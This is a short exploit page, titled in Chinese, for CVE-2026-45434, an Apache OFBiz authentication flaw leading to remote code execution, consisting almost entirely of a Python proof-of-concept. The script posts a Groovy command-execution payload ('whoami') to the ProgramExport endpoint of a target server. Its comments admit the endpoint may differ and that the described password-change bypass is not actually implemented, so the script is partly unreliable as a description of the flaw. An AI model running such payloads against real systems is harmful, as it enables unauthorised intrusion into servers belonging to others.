CVE-2026-45434 Apache OFBiz认证缺陷致RCE

#!/usr/bin/env python3 import requests # Target URL (Example) target_url = "http://target-ip:8080/webtools/control/ProgramExport" # The vulnerability lies in the password change logic allowing auth bypass. # This PoC demonstrates sending a malicious payload to execute a command. # Note: The specific endpoint might vary based on the actual vulnerable logic. payload = { "groovyProgram": "def cmd = \"whoami\"; def proc = cmd.execute(); proc.waitFor(); println(proc.text);" } try: print("[+] Sending exploit payload to {}...".format(target_url)) # In a real scenario, the request might need specific headers or cookies derived from the logic flaw. response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response:\n{}".format(response.text)) else: print("[-] Exploit failed, status code: {}".format(response.status_code)) except Exception as e: print("[-] An error occurred: {}".format(str(e)))